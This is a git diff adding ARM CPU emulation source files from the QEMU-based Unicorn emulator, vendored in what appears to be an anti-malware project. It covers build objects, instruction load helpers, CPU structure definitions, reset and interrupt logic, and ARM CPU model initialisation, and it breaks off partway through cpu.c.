index 0000000..483d620 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/Makefile.objs @@ -0,0 +1,6 @@ +obj-y += translate.o op_helper.o helper.o cpu.o +obj-y += neon_helper.o iwmmxt_helper.o +obj-$(CONFIG_SOFTMMU) += psci.o +obj-$(TARGET_AARCH64) += cpu64.o translate-a64.o helper-a64.o unicorn_aarch64.o +obj-$(TARGET_ARM) += unicorn_arm.o +obj-y += crypto_helper.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/arm_ldst.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/arm_ldst.h new file mode 100644 index 0000000..b1ece01 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/arm_ldst.h @@ -0,0 +1,48 @@ +/* + * ARM load/store instructions for code (armeb-user support) + * + * Copyright (c) 2012 CodeSourcery, LLC + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#ifndef ARM_LDST_H +#define ARM_LDST_H + +#include "exec/cpu_ldst.h" +#include "qemu/bswap.h" + +/* Load an instruction and return it in the standard little-endian order */ +static inline uint32_t arm_ldl_code(CPUARMState *env, target_ulong addr, + bool do_swap) +{ + uint32_t insn = cpu_ldl_code(env, addr); + if (do_swap) { + return bswap32(insn); + } + return insn; +} + +/* Ditto, for a halfword (Thumb) instruction */ +static inline uint16_t arm_lduw_code(CPUARMState *env, target_ulong addr, + bool do_swap) +{ + uint16_t insn = cpu_lduw_code(env, addr); + if (do_swap) { + return bswap16(insn); + } + return insn; +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu-qom.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu-qom.h new file mode 100644 index 0000000..fad08eb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu-qom.h @@ -0,0 +1,219 @@ +/* + * QEMU ARM CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see + * + */ +#ifndef QEMU_ARM_CPU_QOM_H +#define QEMU_ARM_CPU_QOM_H + +#include "qom/cpu.h" + +#define TYPE_ARM_CPU "arm-cpu" + +#define ARM_CPU_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, ARMCPUClass, (klass), TYPE_ARM_CPU) +#define ARM_CPU(uc, obj) ((ARMCPU *)obj) +#define ARM_CPU_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, ARMCPUClass, (obj), TYPE_ARM_CPU) + +/** + * ARMCPUClass: + * @parent_realize: The parent class' realize handler. + * @parent_reset: The parent class' reset handler. + * + * An ARM CPU model. + */ +typedef struct ARMCPUClass { + /*< private >*/ + CPUClass parent_class; + /*< public >*/ + + DeviceRealize parent_realize; + void (*parent_reset)(CPUState *cpu); +} ARMCPUClass; + +/** + * ARMCPU: + * @env: #CPUARMState + * + * An ARM CPU core. + */ +typedef struct ARMCPU { + /*< private >*/ + CPUState parent_obj; + /*< public >*/ + + CPUARMState env; + + /* Coprocessor information */ + GHashTable *cp_regs; + /* For marshalling (mostly coprocessor) register state between the + * kernel and QEMU (for KVM) and between two QEMUs (for migration), + * we use these arrays. + */ + /* List of register indexes managed via these arrays; (full KVM style + * 64 bit indexes, not CPRegInfo 32 bit indexes) + */ + uint64_t *cpreg_indexes; + /* Values of the registers (cpreg_indexes[i]'s value is cpreg_values[i]) */ + uint64_t *cpreg_values; + /* Length of the indexes, values, reset_values arrays */ + int32_t cpreg_array_len; + /* These are used only for migration: incoming data arrives in + * these fields and is sanity checked in post_load before copying + * to the working data structures above. + */ + uint64_t *cpreg_vmstate_indexes; + uint64_t *cpreg_vmstate_values; + int32_t cpreg_vmstate_array_len; + + /* Timers used by the generic (architected) timer */ + //QEMUTimer *gt_timer[NUM_GTIMERS]; + /* GPIO outputs for generic timer */ + //qemu_irq gt_timer_outputs[NUM_GTIMERS]; + + /* 'compatible' string for this CPU for Linux device trees */ + const char *dtb_compatible; + + /* PSCI version for this CPU + * Bits[31:16] = Major Version + * Bits[15:0] = Minor Version + */ + uint32_t psci_version; + + /* Should CPU start in PSCI powered-off state? */ + bool start_powered_off; + /* CPU currently in PSCI powered-off state */ + bool powered_off; + + /* PSCI conduit used to invoke PSCI methods + * 0 - disabled, 1 - smc, 2 - hvc + */ + uint32_t psci_conduit; + + /* [QEMU_]KVM_ARM_TARGET_* constant for this CPU, or + * QEMU_KVM_ARM_TARGET_NONE if the kernel doesn't support this CPU type. + */ + uint32_t kvm_target; + + /* KVM init features for this CPU */ + uint32_t kvm_init_features[7]; + + /* The instance init functions for implementation-specific subclasses + * set these fields to specify the implementation-dependent values of + * various constant registers and reset values of non-constant + * registers. + * Some of these might become QOM properties eventually. + * Field names match the official register names as defined in the + * ARMv7AR ARM Architecture Reference Manual. A reset_ prefix + * is used for reset values of non-constant registers; no reset_ + * prefix means a constant register. + */ + uint32_t midr; + uint32_t reset_fpsid; + uint32_t mvfr0; + uint32_t mvfr1; + uint32_t mvfr2; + uint32_t ctr; + uint32_t reset_sctlr; + uint32_t id_pfr0; + uint32_t id_pfr1; + uint32_t id_dfr0; + uint32_t id_afr0; + uint32_t id_mmfr0; + uint32_t id_mmfr1; + uint32_t id_mmfr2; + uint32_t id_mmfr3; + uint32_t id_isar0; + uint32_t id_isar1; + uint32_t id_isar2; + uint32_t id_isar3; + uint32_t id_isar4; + uint32_t id_isar5; + uint64_t id_aa64pfr0; + uint64_t id_aa64pfr1; + uint64_t id_aa64dfr0; + uint64_t id_aa64dfr1; + uint64_t id_aa64afr0; + uint64_t id_aa64afr1; + uint64_t id_aa64isar0; + uint64_t id_aa64isar1; + uint64_t id_aa64mmfr0; + uint64_t id_aa64mmfr1; + uint32_t dbgdidr; + uint32_t clidr; + /* The elements of this array are the CCSIDR values for each cache, + * in the order L1DCache, L1ICache, L2DCache, L2ICache, etc. + */ + uint32_t ccsidr[16]; + uint64_t reset_cbar; + uint32_t reset_auxcr; + bool reset_hivecs; + /* DCZ blocksize, in log_2(words), ie low 4 bits of DCZID_EL0 */ + uint32_t dcz_blocksize; + uint64_t rvbar; +} ARMCPU; + +#define TYPE_AARCH64_CPU "aarch64-cpu" +#define AARCH64_CPU_CLASS(klass) \ + OBJECT_CLASS_CHECK(AArch64CPUClass, (klass), TYPE_AARCH64_CPU) +#define AARCH64_CPU_GET_CLASS(obj) \ + OBJECT_GET_CLASS(AArch64CPUClass, (obj), TYPE_AArch64_CPU) + +typedef struct AArch64CPUClass { + /*< private >*/ + ARMCPUClass parent_class; + /*< public >*/ +} AArch64CPUClass; + +static inline ARMCPU *arm_env_get_cpu(CPUARMState *env) +{ + return container_of(env, ARMCPU, env); +} + +#define ENV_GET_CPU(e) CPU(arm_env_get_cpu(e)) + +#define ENV_OFFSET offsetof(ARMCPU, env) + +#ifndef CONFIG_USER_ONLY +extern const struct VMStateDescription vmstate_arm_cpu; +#endif + +void register_cp_regs_for_features(ARMCPU *cpu); +void init_cpreg_list(ARMCPU *cpu); + +void arm_cpu_do_interrupt(CPUState *cpu); +void arm_v7m_cpu_do_interrupt(CPUState *cpu); +bool arm_cpu_exec_interrupt(CPUState *cpu, int int_req); + +hwaddr arm_cpu_get_phys_page_debug(CPUState *cpu, vaddr addr); + +int arm_cpu_gdb_read_register(CPUState *cpu, uint8_t *buf, int reg); +int arm_cpu_gdb_write_register(CPUState *cpu, uint8_t *buf, int reg); + +/* Callback functions for the generic timer's timers. */ +void arm_gt_ptimer_cb(void *opaque); +void arm_gt_vtimer_cb(void *opaque); + +#ifdef TARGET_AARCH64 +int aarch64_cpu_gdb_read_register(CPUState *cpu, uint8_t *buf, int reg); +int aarch64_cpu_gdb_write_register(CPUState *cpu, uint8_t *buf, int reg); + +void aarch64_cpu_do_interrupt(CPUState *cs); +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.c new file mode 100644 index 0000000..7a0b839 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/cpu.c @@ -0,0 +1,1108 @@ +/* + * QEMU ARM CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see + * + */ + +#include "cpu.h" +#include "internals.h" +#include "qemu-common.h" +#include "qapi/qmp/qerror.h" +#include "hw/arm/arm.h" +#include "sysemu/sysemu.h" + +#include "uc_priv.h" + +static void arm_cpu_set_pc(CPUState *cs, vaddr value) +{ + ARMCPU *cpu = ARM_CPU(NULL, cs); + + cpu->env.regs[15] = value; +} + +static bool arm_cpu_has_work(CPUState *cs) +{ + ARMCPU *cpu = ARM_CPU(NULL, cs); + + return !cpu->powered_off + && cs->interrupt_request & + (CPU_INTERRUPT_FIQ | CPU_INTERRUPT_HARD + | CPU_INTERRUPT_VFIQ | CPU_INTERRUPT_VIRQ + | CPU_INTERRUPT_EXITTB); +} + +static void cp_reg_reset(gpointer key, gpointer value, gpointer opaque) +{ + /* Reset a single ARMCPRegInfo register */ + ARMCPRegInfo *ri = value; + ARMCPU *cpu = opaque; + + if (ri->type & ARM_CP_SPECIAL) { + return; + } + + if (ri->resetfn) { + ri->resetfn(&cpu->env, ri); + return; + } + + /* A zero offset is never possible as it would be regs[0] + * so we use it to indicate that reset is being handled elsewhere. + * This is basically only used for fields in non-core coprocessors + * (like the pxa2xx ones). + */ + if (!ri->fieldoffset) { + return; + } + + if (cpreg_field_is_64bit(ri)) { + CPREG_FIELD64(&cpu->env, ri) = ri->resetvalue; + } else { + CPREG_FIELD32(&cpu->env, ri) = ri->resetvalue; + } +} + +/* CPUClass::reset() */ +static void arm_cpu_reset(CPUState *s) +{ + CPUARMState *env = s->env_ptr; + ARMCPU *cpu = ARM_CPU(env->uc, s); + ARMCPUClass *acc = ARM_CPU_GET_CLASS(env->uc, cpu); + + acc->parent_reset(s); + + memset(env, 0, offsetof(CPUARMState, features)); + g_hash_table_foreach(cpu->cp_regs, cp_reg_reset, cpu); + env->vfp.xregs[ARM_VFP_FPSID] = cpu->reset_fpsid; + env->vfp.xregs[ARM_VFP_MVFR0] = cpu->mvfr0; + env->vfp.xregs[ARM_VFP_MVFR1] = cpu->mvfr1; + env->vfp.xregs[ARM_VFP_MVFR2] = cpu->mvfr2; + + cpu->powered_off = cpu->start_powered_off; + s->halted = cpu->start_powered_off; + + if (arm_feature(env, ARM_FEATURE_IWMMXT)) { + env->iwmmxt.cregs[ARM_IWMMXT_wCID] = 0x69051000 | 'Q'; + } + + if (arm_feature(env, ARM_FEATURE_AARCH64)) { + /* 64 bit CPUs always start in 64 bit mode */ + env->aarch64 = 1; +#if defined(CONFIG_USER_ONLY) + env->pstate = PSTATE_MODE_EL0t; + /* Userspace expects access to DC ZVA, CTL_EL0 and the cache ops */ + env->cp15.c1_sys |= SCTLR_UCT | SCTLR_UCI | SCTLR_DZE; + /* and to the FP/Neon instructions */ + env->cp15.c1_coproc = deposit64(env->cp15.c1_coproc, 20, 2, 3); +#else + env->pstate = PSTATE_MODE_EL1h; + env->pc = cpu->rvbar; +#endif + } else { +#if defined(CONFIG_USER_ONLY) + /* Userspace expects access to cp10 and cp11 for FP/Neon */ + env->cp15.c1_coproc = deposit64(env->cp15.c1_coproc, 20, 4, 0xf); +#endif + } + +#if defined(CONFIG_USER_ONLY) + env->uncached_cpsr = ARM_CPU_MODE_USR; + /* For user mode we must enable access to coprocessors */ + env->vfp.xregs[ARM_VFP_FPEXC] = 1 << 30; + if (arm_feature(env, ARM_FEATURE_IWMMXT)) { + env->cp15.c15_cpar = 3; + } else if (arm_feature(env, ARM_FEATURE_XSCALE)) { + env->cp15.c15_cpar = 1; + } +#else + /* SVC mode with interrupts disabled. */ + env->uncached_cpsr = ARM_CPU_MODE_SVC; + env->daif = PSTATE_D | PSTATE_A | PSTATE_I | PSTATE_F; + /* On ARMv7-M the CPSR_I is the value of the PRIMASK register, and is + * clear at reset. Initial SP and PC are loaded from ROM. + */ + if (IS_M(env)) { + uint32_t initial_msp; /* Loaded from 0x0 */ + uint32_t initial_pc; /* Loaded from 0x4 */ + + env->daif &= ~PSTATE_I; +#if 0 + uint8_t *rom; + rom = rom_ptr(0); + if (rom) { + /* Address zero is covered by ROM which hasn't yet been + * copied into physical memory. + */ + initial_msp = ldl_p(rom); + initial_pc = ldl_p(rom + 4); + } else +#endif + { + /* Address zero not covered by a ROM blob, or the ROM blob + * is in non-modifiable memory and this is a second reset after + * it got copied into memory. In the latter case, rom_ptr + * will return a NULL pointer and we should use ldl_phys instead. + */ + initial_msp = ldl_phys(s->as, 0); + initial_pc = ldl_phys(s->as, 4); + } + + env->regs[13] = initial_msp & 0xFFFFFFFC; + env->regs[15] = initial_pc & ~1; + env->thumb = initial_pc & 1; + } + + // Unicorn: force Thumb mode by setting of uc_open() + env->thumb = env->uc->thumb; + + if (env->cp15.c1_sys & SCTLR_V) { + env->regs[15] = 0xFFFF0000; + } + + env->vfp.xregs[ARM_VFP_FPEXC] = 0; +#endif + set_flush_to_zero(1, &env->vfp.standard_fp_status); + set_flush_inputs_to_zero(1, &env->vfp.standard_fp_status); + set_default_nan_mode(1, &env->vfp.standard_fp_status); + set_float_detect_tininess(float_tininess_before_rounding, + &env->vfp.fp_status); + set_float_detect_tininess(float_tininess_before_rounding, + &env->vfp.standard_fp_status); + tlb_flush(s, 1); + + hw_breakpoint_update_all(cpu); + hw_watchpoint_update_all(cpu); +} + +bool arm_cpu_exec_interrupt(CPUState *cs, int interrupt_request) +{ + CPUARMState *env = cs->env_ptr; + CPUClass *cc = CPU_GET_CLASS(env->uc, cs); + bool ret = false; + + if (interrupt_request & CPU_INTERRUPT_FIQ + && arm_excp_unmasked(cs, EXCP_FIQ)) { + cs->exception_index = EXCP_FIQ; + cc->do_interrupt(cs); + ret = true; + } + if (interrupt_request & CPU_INTERRUPT_HARD + && arm_excp_unmasked(cs, EXCP_IRQ)) { + cs->exception_index = EXCP_IRQ; + cc->do_interrupt(cs); + ret = true; + } + if (interrupt_request & CPU_INTERRUPT_VIRQ + && arm_excp_unmasked(cs, EXCP_VIRQ)) { + cs->exception_index = EXCP_VIRQ; + cc->do_interrupt(cs); + ret = true; + } + if (interrupt_request & CPU_INTERRUPT_VFIQ + && arm_excp_unmasked(cs, EXCP_VFIQ)) { + cs->exception_index = EXCP_VFIQ; + cc->do_interrupt(cs); + ret = true; + } + + return ret; +} + +#if !defined(CONFIG_USER_ONLY) || !defined(TARGET_AARCH64) +static bool arm_v7m_cpu_exec_interrupt(CPUState *cs, int interrupt_request) +{ + CPUARMState *env = cs->env_ptr; + CPUClass *cc = CPU_GET_CLASS(env->uc, cs); + bool ret = false; + + + if (interrupt_request & CPU_INTERRUPT_FIQ + && !(env->daif & PSTATE_F)) { + cs->exception_index = EXCP_FIQ; + cc->do_interrupt(cs); + ret = true; + } + /* ARMv7-M interrupt return works by loading a magic value + * into the PC. On real hardware the load causes the + * return to occur. The qemu implementation performs the + * jump normally, then does the exception return when the + * CPU tries to execute code at the magic address. + * This will cause the magic PC value to be pushed to + * the stack if an interrupt occurred at the wrong time. + * We avoid this by disabling interrupts when + * pc contains a magic address. + */ + if (interrupt_request & CPU_INTERRUPT_HARD + && !(env->daif & PSTATE_I) + && (env->regs[15] < 0xfffffff0)) { + cs->exception_index = EXCP_IRQ; + cc->do_interrupt(cs); + ret = true; + } + return ret; +} +#endif + +static inline void set_feature(CPUARMState *env, int feature) +{ + env->features |= 1ULL << feature; +} + +static void arm_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + CPUState *cs = CPU(obj); + ARMCPU *cpu = ARM_CPU(uc, obj); + + cs->env_ptr = &cpu->env; + cpu_exec_init(&cpu->env, opaque); + cpu->cp_regs = g_hash_table_new_full(g_int_hash, g_int_equal, + g_free, g_free); + +#if 0 +#ifndef CONFIG_USER_ONLY + /* Our inbound IRQ and FIQ lines */ + + cpu->gt_timer[GTIMER_PHYS] = timer_new(QEMU_CLOCK_VIRTUAL, GTIMER_SCALE, + arm_gt_ptimer_cb, cpu); + cpu->gt_timer[GTIMER_VIRT] = timer_new(QEMU_CLOCK_VIRTUAL, GTIMER_SCALE, + arm_gt_vtimer_cb, cpu); + //qdev_init_gpio_out(DEVICE(cpu), cpu->gt_timer_outputs, + // ARRAY_SIZE(cpu->gt_timer_outputs)); +#endif +#endif + + /* DTB consumers generally don't in fact care what the 'compatible' + * string is, so always provide some string and trust that a hypothetical + * picky DTB consumer will also provide a helpful error message. + */ + cpu->dtb_compatible = "qemu,unknown"; + cpu->psci_version = 1; /* By default assume PSCI v0.1 */ + cpu->kvm_target = QEMU_KVM_ARM_TARGET_NONE; + + if (tcg_enabled(uc)) { + cpu->psci_version = 2; /* TCG implements PSCI 0.2 */ + arm_translate_init(uc); + } +} + +static void arm_cpu_post_init(struct uc_struct *uc, Object *obj) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + if (arm_feature(&cpu->env, ARM_FEATURE_CBAR) || + arm_feature(&cpu->env, ARM_FEATURE_CBAR_RO)) { + //qdev_property_add_static(DEVICE(obj), &arm_cpu_reset_cbar_property, + // &error_abort); + } + + if (!arm_feature(&cpu->env, ARM_FEATURE_M)) { + //qdev_property_add_static(DEVICE(obj), &arm_cpu_reset_hivecs_property, + // &error_abort); + } + + if (arm_feature(&cpu->env, ARM_FEATURE_AARCH64)) { + //qdev_property_add_static(DEVICE(obj), &arm_cpu_rvbar_property, + // &error_abort); + } +} + +static void arm_cpu_finalizefn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + g_hash_table_destroy(cpu->cp_regs); +} + +static int arm_cpu_realizefn(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + CPUState *cs = CPU(dev); + ARMCPU *cpu = ARM_CPU(uc, dev); + ARMCPUClass *acc = ARM_CPU_GET_CLASS(uc, dev); + CPUARMState *env = &cpu->env; + + /* Some features automatically imply others: */ + if (arm_feature(env, ARM_FEATURE_V8)) { + set_feature(env, ARM_FEATURE_V7); + set_feature(env, ARM_FEATURE_ARM_DIV); + set_feature(env, ARM_FEATURE_LPAE); + } + if (arm_feature(env, ARM_FEATURE_V7)) { + set_feature(env, ARM_FEATURE_VAPA); + set_feature(env, ARM_FEATURE_THUMB2); + set_feature(env, ARM_FEATURE_MPIDR); + if (!arm_feature(env, ARM_FEATURE_M)) { + set_feature(env, ARM_FEATURE_V6K); + } else { + set_feature(env, ARM_FEATURE_V6); + } + } + if (arm_feature(env, ARM_FEATURE_V6K)) { + set_feature(env, ARM_FEATURE_V6); + set_feature(env, ARM_FEATURE_MVFR); + } + if (arm_feature(env, ARM_FEATURE_V6)) { + set_feature(env, ARM_FEATURE_V5); + if (!arm_feature(env, ARM_FEATURE_M)) { + set_feature(env, ARM_FEATURE_AUXCR); + } + } + if (arm_feature(env, ARM_FEATURE_V5)) { + set_feature(env, ARM_FEATURE_V4T); + } + if (arm_feature(env, ARM_FEATURE_M)) { + set_feature(env, ARM_FEATURE_THUMB_DIV); + } + if (arm_feature(env, ARM_FEATURE_ARM_DIV)) { + set_feature(env, ARM_FEATURE_THUMB_DIV); + } + if (arm_feature(env, ARM_FEATURE_VFP4)) { + set_feature(env, ARM_FEATURE_VFP3); + set_feature(env, ARM_FEATURE_VFP_FP16); + } + if (arm_feature(env, ARM_FEATURE_VFP3)) { + set_feature(env, ARM_FEATURE_VFP); + } + if (arm_feature(env, ARM_FEATURE_LPAE)) { + set_feature(env, ARM_FEATURE_V7MP); + set_feature(env, ARM_FEATURE_PXN); + } + if (arm_feature(env, ARM_FEATURE_CBAR_RO)) { + set_feature(env, ARM_FEATURE_CBAR); + } + + if (cpu->reset_hivecs) { + cpu->reset_sctlr |= (1 << 13); + } + + register_cp_regs_for_features(cpu); + arm_cpu_register_gdb_regs_for_features(cpu); + + init_cpreg_list(cpu); + + qemu_init_vcpu(cs); + cpu_reset(cs); + + acc->parent_realize(uc, dev, errp); + + return 0; +} + +static ObjectClass *arm_cpu_class_by_name(struct uc_struct *uc, const char *cpu_model) +{ + ObjectClass *oc; + char *typename; + + if (!cpu_model) { + return NULL; + } + + typename = g_strdup_printf("%s-" TYPE_ARM_CPU, cpu_model); + oc = object_class_by_name(uc, typename); + g_free(typename); + if (!oc || !object_class_dynamic_cast(uc, oc, TYPE_ARM_CPU) || + object_class_is_abstract(oc)) { + return NULL; + } + return oc; +} + +/* CPU models. These are not needed for the AArch64 linux-user build. */ +#if !defined(CONFIG_USER_ONLY) || !defined(TARGET_AARCH64) + +static void arm926_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,arm926"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_VFP); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + set_feature(&cpu->env, ARM_FEATURE_CACHE_TEST_CLEAN); + cpu->midr = 0x41069265; + cpu->reset_fpsid = 0x41011090; + cpu->ctr = 0x1dd20d2; + cpu->reset_sctlr = 0x00090078; +} + +static void arm946_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,arm946"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_MPU); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + cpu->midr = 0x41059461; + cpu->ctr = 0x0f004006; + cpu->reset_sctlr = 0x00000078; +} + +static void arm1026_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,arm1026"; + set_feature(&cpu->env, ARM_FEATURE_V5); + set_feature(&cpu->env, ARM_FEATURE_VFP); + set_feature(&cpu->env, ARM_FEATURE_AUXCR); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + set_feature(&cpu->env, ARM_FEATURE_CACHE_TEST_CLEAN); + cpu->midr = 0x4106a262; + cpu->reset_fpsid = 0x410110a0; + cpu->ctr = 0x1dd20d2; + cpu->reset_sctlr = 0x00090078; + cpu->reset_auxcr = 1; + { + /* The 1026 had an IFAR at c6,c0,0,1 rather than the ARMv6 c6,c0,0,2 */ + ARMCPRegInfo ifar = { 0 }; + ifar.name = "IFAR"; + ifar.cp = 15; + ifar.crn = 6; + ifar.crm = 0; + ifar.opc1 = 0; + ifar.opc2 = 1; + ifar.access = PL1_RW; + ifar.fieldoffset = offsetofhigh32(CPUARMState, cp15.far_el[1]); + ifar.resetvalue = 0; + define_one_arm_cp_reg(cpu, &ifar); + } +} + +static void arm1136_r2_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + /* What qemu calls "arm1136_r2" is actually the 1136 r0p2, ie an + * older core than plain "arm1136". In particular this does not + * have the v6K features. + * These ID register values are correct for 1136 but may be wrong + * for 1136_r2 (in particular r0p2 does not actually implement most + * of the ID registers). + */ + + cpu->dtb_compatible = "arm,arm1136"; + set_feature(&cpu->env, ARM_FEATURE_V6); + set_feature(&cpu->env, ARM_FEATURE_VFP); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + set_feature(&cpu->env, ARM_FEATURE_CACHE_DIRTY_REG); + set_feature(&cpu->env, ARM_FEATURE_CACHE_BLOCK_OPS); + cpu->midr = 0x4107b362; + cpu->reset_fpsid = 0x410120b4; + cpu->mvfr0 = 0x11111111; + cpu->mvfr1 = 0x00000000; + cpu->ctr = 0x1dd20d2; + cpu->reset_sctlr = 0x00050078; + cpu->id_pfr0 = 0x111; + cpu->id_pfr1 = 0x1; + cpu->id_dfr0 = 0x2; + cpu->id_afr0 = 0x3; + cpu->id_mmfr0 = 0x01130003; + cpu->id_mmfr1 = 0x10030302; + cpu->id_mmfr2 = 0x01222110; + cpu->id_isar0 = 0x00140011; + cpu->id_isar1 = 0x12002111; + cpu->id_isar2 = 0x11231111; + cpu->id_isar3 = 0x01102131; + cpu->id_isar4 = 0x141; + cpu->reset_auxcr = 7; +} + +static void arm1136_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,arm1136"; + set_feature(&cpu->env, ARM_FEATURE_V6K); + set_feature(&cpu->env, ARM_FEATURE_V6); + set_feature(&cpu->env, ARM_FEATURE_VFP); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + set_feature(&cpu->env, ARM_FEATURE_CACHE_DIRTY_REG); + set_feature(&cpu->env, ARM_FEATURE_CACHE_BLOCK_OPS); + cpu->midr = 0x4117b363; + cpu->reset_fpsid = 0x410120b4; + cpu->mvfr0 = 0x11111111; + cpu->mvfr1 = 0x00000000; + cpu->ctr = 0x1dd20d2; + cpu->reset_sctlr = 0x00050078; + cpu->id_pfr0 = 0x111; + cpu->id_pfr1 = 0x1; + cpu->id_dfr0 = 0x2; + cpu->id_afr0 = 0x3; + cpu->id_mmfr0 = 0x01130003; + cpu->id_mmfr1 = 0x10030302; + cpu->id_mmfr2 = 0x01222110; + cpu->id_isar0 = 0x00140011; + cpu->id_isar1 = 0x12002111; + cpu->id_isar2 = 0x11231111; + cpu->id_isar3 = 0x01102131; + cpu->id_isar4 = 0x141; + cpu->reset_auxcr = 7; +} + +static void arm1176_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,arm1176"; + set_feature(&cpu->env, ARM_FEATURE_V6K); + set_feature(&cpu->env, ARM_FEATURE_VFP); + set_feature(&cpu->env, ARM_FEATURE_VAPA); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + set_feature(&cpu->env, ARM_FEATURE_CACHE_DIRTY_REG); + set_feature(&cpu->env, ARM_FEATURE_CACHE_BLOCK_OPS); + cpu->midr = 0x410fb767; + cpu->reset_fpsid = 0x410120b5; + cpu->mvfr0 = 0x11111111; + cpu->mvfr1 = 0x00000000; + cpu->ctr = 0x1dd20d2; + cpu->reset_sctlr = 0x00050078; + cpu->id_pfr0 = 0x111; + cpu->id_pfr1 = 0x11; + cpu->id_dfr0 = 0x33; + cpu->id_afr0 = 0; + cpu->id_mmfr0 = 0x01130003; + cpu->id_mmfr1 = 0x10030302; + cpu->id_mmfr2 = 0x01222100; + cpu->id_isar0 = 0x0140011; + cpu->id_isar1 = 0x12002111; + cpu->id_isar2 = 0x11231121; + cpu->id_isar3 = 0x01102131; + cpu->id_isar4 = 0x01141; + cpu->reset_auxcr = 7; +} + +static void arm11mpcore_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + + cpu->dtb_compatible = "arm,arm11mpcore"; + set_feature(&cpu->env, ARM_FEATURE_V6K); + set_feature(&cpu->env, ARM_FEATURE_VFP); + set_feature(&cpu->env, ARM_FEATURE_VAPA); + set_feature(&cpu->env, ARM_FEATURE_MPIDR); + set_feature(&cpu->env, ARM_FEATURE_DUMMY_C15_REGS); + cpu->midr = 0x410fb022; + cpu->reset_fpsid = 0x410120b4; + cpu->mvfr0 = 0x11111111; + cpu->mvfr1 = 0x00000000; + cpu->ctr = 0x1d192992; /* 32K icache 32K dcache */ + cpu->id_pfr0 = 0x111; + cpu->id_pfr1 = 0x1; + cpu->id_dfr0 = 0; + cpu->id_afr0 = 0x2; + cpu->id_mmfr0 = 0x01100103; + cpu->id_mmfr1 = 0x10020302; + cpu->id_mmfr2 = 0x01222000; + cpu->id_isar0 = 0x00100011; + cpu->id_isar1 = 0x12002111; + cpu->id_isar2 = 0x11221011; + cpu->id_isar3 = 0x01102131; + cpu->id_isar4 = 0x141; + cpu->reset_auxcr = 1; +} + +static void cortex_m3_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + ARMCPU *cpu = ARM_CPU(uc, obj); + set_feature(&cpu->env, ARM_FEATURE_V7); + set_feature(&cpu->env, ARM_FEATURE_M); + cpu->midr = 0x410fc231; +} + +static void arm_v7m_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + CPUClass *cc = CPU_CLASS(uc, oc); + +#ifndef CONFIG_USER_ONLY + cc->do_interrupt = arm_v7m_cpu_do_interrupt; +#endif + + cc->cpu_exec_interrupt = arm_v7m_cpu_exec_interrupt; +} + +static const ARMCPRegInfo 